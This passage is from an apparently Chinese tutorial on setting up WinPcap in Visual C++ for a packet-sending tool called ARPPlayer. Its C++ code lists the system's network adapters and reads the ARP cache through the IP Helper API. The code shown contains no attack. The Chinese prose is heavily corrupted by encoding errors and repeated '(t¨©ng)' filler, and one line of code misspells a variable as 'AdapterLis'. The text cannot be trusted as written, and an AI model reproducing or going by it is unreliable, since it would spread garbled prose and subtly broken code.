size="2">三.附加步骤以及(qi¨¢ng)说明</font> </div> <div> <font color="#bba344"> <font size="2"> <font face="Times New Roman">1. </font>如何åœ?font face="Times New Roman">VC</font>中ä‹Éç”?font face="Times New Roman">winpcap</font>驱动</font> </font> </div> <div> <font size="2"> <font face="Times New Roman"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font>虽然<font face="Times New Roman">winpcap</font>开发包使用èµäh¥éžå¸¸½Ž€ä¾¿ï¼Œä½†æ˜¯å‰æœŸå‡†å¤‡å·¥ä½œ˜q˜æ˜¯è¦è´¹ä¸€ç•ªåŠŸå¤«çš„åQŒç¼ºä¸€ä¸å¯ã€?font face="Times New Roman">^_^</font></font> </div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 首先ž®±æ˜¯è¦å®‰è£…它的驱动程序了(ji¨£n)åQŒå¯ä»¥åˆ°å®ƒçš„主页下蝲åQŒæ›´æ–°å¾ˆå¿«çš„</font> </div> <div> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) <a ><font face="Times New Roman" size="2">http://winpcap.polito.it/install/default.htm</font></a></div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 下蝲WinPcap auto-installer (driver +DLLs)åQŒç›´æŽ¥å®‰è£…就好了(ji¨£n)åQŒæˆ–者我提供的代码包里面也有ã€?/font> </div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 希望以后用winpcap作开发的朋友åQŒè¿˜éœ€è¦ä¸‹è½?Developer's packåQŒè§£åŽ‹å³å¯ã€?/font> </div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 然后åQŒéœ€è¦è®¾¾|®æˆ‘们工½E‹çš„附加包含目录为我们下载Developer's pack开发包çš?font face="Times New Roman">Inclulde</font>目录åQŒè¿žæŽ¥å™¨çš„附加依赖库讄¡½®ä¸ºDeveloper's packçš„lib目录ã€?/font> </div> <div> <font size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 当然åQŒå› ä¸ºæˆ‘们的工作比较½Ž€å•,ž®±æ˜¯å€Ÿç”¨<font face="Times New Roman">winpcap</font>发送数据包而已åQŒæ‰€ä»¥åªç”¨ä»Ž</font> </div> <div> <font size="2"> <font face="Times New Roman">winpcap</font>开发包çš?font face="Times New Roman">include</font>æ–‡äšg夹中åQŒæ‹·è´?font face="Times New Roman"><strong>Packet32.h</strong></font>åQŒåˆ°æˆ‘们的工½E‹æ¥åQŒåƈ且包含它?y¨­u)®±å?/font> </div> <div> <font size="2">以,</font> <font size="2">但是要注意,<font face="Times New Roman">Packet32.h</font>本èín˜q˜è¦åŒ…含一ä¸?font face="Times New Roman"><strong>Devioctl.h</strong></font>åQŒä¹Ÿè¦ä¸€òq¶æ‹·è´è¿›æ¥ï¼Œå½“ç„¶˜q˜æœ‰˜q?/font> </div> <div> <font size="2">行库<font face="Times New Roman"><strong>Packet.lib</strong></font>åQŒä¸€å…±å°±æ˜¯éœ€è¦æ‹·è´?font face="Times New Roman">3</font>个文件了(ji¨£n)åQŒå¦‚果加入库不用我多说了(ji¨£n)吧,在工½E‹é‡Œé¢è®¾</font> </div> <div> <font size="2">¾|®ï¼Œæˆ–者是在需要它的地方加å…?font face="Times New Roman"></font>#pragma comment(lib, "Packet.lib")äº?ji¨£n)ã€?/font> </div> <div> <font face="Times New Roman" size="2"> </font> (t¨©ng)</div> <div> <font size="2"> <font face="Times New Roman"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font>整个™å¹ç›®å…¶å®žå¯ä»¥åˆ†äØ“(f¨´)四个部分åQ?strong>填充数据包、发送数据包、枚丄¡³»¾lŸç½‘卡列è¡?/strong>å’?/font> </div> <div> <font size="2">相关信息以及(qi¨¢ng)<strong>æžšä‹D¾pȝ»Ÿ</strong><font face="Times New Roman"><strong>ARP</strong></font><strong>¾~“存列表</strong>åQŒä¸‹é¢æˆ‘再讲一下如何获得系¾lŸçš„¾|‘卡以及(qi¨¢ng)<font face="Times New Roman">ARP</font>åˆ?/font> </div> <div> <font size="2">表,˜q™ä¸¤ä¸ªéƒ¨åˆ†éƒ½è¦ç”¨åˆ?font face="Times New Roman">IP Helper</font>çš?font face="Times New Roman">api</font>åQŒæ‰€ä»¥è¦åŒ…含<Iphlpapi.h>以及(qi¨¢ng)库文件Iphlpapi.libåQ?/font> </div> <div> <font size="2">其实都是很简单的åQŒåªç”¨å¯¥å¯¥å‡ è¡Œå°±O(ji¨¡n)Käº?/font> </div> <div> <font color="#f709c7"> <font size="2"> <font face="Times New Roman">2. (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font>æžšä‹D¾pȝ»Ÿ¾|‘卡以及(qi¨¢ng)信息</font> </font> </div> <div> <font size="2">最好是先定义关于网卡信息的一个结构体åQŒè¿™æ äh˜¾å¾—结构比较清æ™?/font> </div> <div align="left"> <font color="#4db34d" size="2">// ¾|‘卡信息</font> </div> <div align="left"> <font color="#2b2bd5" size="2">typedef struct tagAdapterInfo (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#2b2bd5" size="2">{</font> </div> <div align="left"> <font color="#2b2bd5" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char szDeviceName[128]; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // 名字</font> </div> <div align="left"> <font color="#2b2bd5" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char szIPAddrStr[16]; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // IP</font> </div> <div align="left"> <font color="#2b2bd5" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char szHWAddrStr[18]; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // MAC</font> </div> <div align="left"> <font color="#2b2bd5" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) DWORD dwIndex; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // ¾~–号 (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div> <font color="#2b2bd5" size="2">}INFO_ADAPTER, *PINFO_ADAPTER;</font> </div> <div> <font size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#55aa77" size="2">/*********************************************************************</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Name & Params::</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) AddAdapInfoToList</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) CListCtrl& list : (t¨©ng) CARPPlayerDlg传入的list句柄</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) )</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Purpose:</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 获得¾pȝ»Ÿçš„网卡信息,òq¶å°†å…¶æ·»åŠ åˆ°l(f¨¡)ist控äšgä¸?/font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Remarks:</font> </div> <div align="left"> <font color="#55aa77" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 获得¾|‘卡IPå?qi¨¢ng)MAC用到äº?ji¨£n)IpHelper api GetAdaptersInfo</font> </div> <div align="left"> <font color="#55aa77" size="2">******************************************************************/</font> </div> <div align="left"> <font color="#5233cc" size="2">void AddAdapInfoToList(CListCtrl& list)</font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char tempChar;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) ULONG uListSize=1;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PIP_ADAPTER_INFO pAdapter; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // 定义PIP_ADAPTER_INFO¾l“构存储¾|‘卡信息</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) int nAdapterIndex = 0;</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);//关键函数</font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) if (dwRet == ERROR_BUFFER_OVERFLOW)</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) {</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) pAdapter = pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) while (pAdapter) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) (t¨©ng) (t¨©ng) // æžšä‹D¾|‘卡然后ž®†ç›¸å…Ïx(ch¨®ng)¡ç›®æ·»åŠ åˆ°Listä¸?/font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // ¾|‘卡名字</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) CString strTemp = pAdapter->AdapterName; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) strTemp = "\\Device\\NPF_" + strTemp; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng)// 加上前缀 </font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.InsertItem(nAdapterIndex,strTemp); (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) strcpy(AdapterList[nAdapterIndex].szDeviceName,strTemp);</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // IP</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) strcpy(AdapterList[nAdapterIndex].szIPAddrStr,</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) pAdapter->IpAddressList.IpAddress.String );</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(nAdapterIndex,1,AdapterList[nAdapterIndex].szIPAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) formatMACToStr( AdapterList[nAdapterIndex].szHWAddrStr, pAdapter->Address );</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.SetItemText(nAdapterIndex,2,AdapterLis[nAdapterIndex].szHWAddrStr);</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // ¾|‘卡¾~–号</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) AdapterList[nAdapterIndex].dwIndex = pAdapter->Index; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#5233cc" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) pAdapter = pAdapter->Next;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) nAdapterIndex ++;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) delete pAdapterListBuffer;</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) }</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font color="#5233cc" size="2">}</font> </div> <div align="left"> <font size="2"> </font> (t¨©ng)</div> <div align="left"> <div align="left"> <font color="#e61ae6" size="2">2)获取ARP条目列表</font> </div> <div align="left"> <font color="#5ea26b" size="2">// ARP条目信息</font> </div> <div align="left"> <font color="#5233cc" size="2">typedef struct tagARPInfo (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#5233cc" size="2">{</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char szIPAddrStr[16]; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) // IP </font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char szHWAddrStr[18]; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // MAC</font> </div> <div align="left"> <font color="#5233cc" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) DWORD dwType; (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // ¾cÕdž‹</font> </div> <div align="left"> <font color="#5233cc" size="2">}INFO_ARP, *PINFO_ARP;</font> </div> <div align="left"> <font size="2"> </font> (t¨©ng)</div> <div align="left"> <font size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#55aa66" size="2">/**********************************************************************</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Name & Params::</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) AddARPInfoToList</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) CListCtrl& list : (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng)  (t¨©ng) CARPPlayerDlg传入的list句柄</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) const short nAdapterIndex : (t¨©ng) (t¨©ng) 用户选中的网卡编å?/font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) )</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Purpose:</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) è¯Õd…¥¾pȝ»Ÿçš„ARP¾~“存列表,.òq¶æ·»åŠ åˆ°å¯¹è¯æ¡†ä¸­</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) Remarks:</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 用到äº?ji¨£n)IpHelper api GetIpNetTable</font> </div> <div align="left"> <font color="#55aa66" size="2">* (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 而且用到äº?ji¨£n)WinSockçš„apiåQŒæ‰€ä»¥è¦åŒ…含<WinSock2.h></font> </div> <div align="left"> <font color="#55aa66" size="2">*****************************************************************/</font> </div> <div align="left"> <font color="#4d4db3" size="2">void AddARPInfoToList(CListCtrl& list,const short nAdapterIndex)</font> </div> <div align="left"> <font color="#4d4db3" size="2">{</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) char tempChar;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) DWORD dwListSize = 1;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) DWORD dwRet;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) in_addr inaddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) list.DeleteAllItems();</font> </div> <div align="left"> <font color="#4d4db3" size="2"> </font> (t¨©ng)</div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) dwRet = GetIpNetTable((PMIB_IPNETTABLE)&tempChar, &dwListSize, TRUE); (t¨©ng) // 关键函数</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) if (dwRet == ERROR_INSUFFICIENT_BUFFER)</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) PMIB_IPNETTABLE pIpNetTable = (PMIB_IPNETTABLE)new(char[dwListSize]);</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) dwRet = GetIpNetTable(pIpNetTable, &dwListSize, TRUE);</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) if (dwRet == ERROR_SUCCESS)</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) for (int i=0; i<(int)pIpNetTable->dwNumEntries; i++)</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) {</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // IP</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) inaddr.S_un.S_addr = pIpNetTable->table[i].dwAddr;</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) strcpy( ARPList[i].szIPAddrStr, inet_ntoa(inaddr) ); (t¨©ng) (t¨©ng) </font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) // MAC</font> </div> <div align="left"> <font color="#4d4db3" size="2"> (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) (t¨©ng) 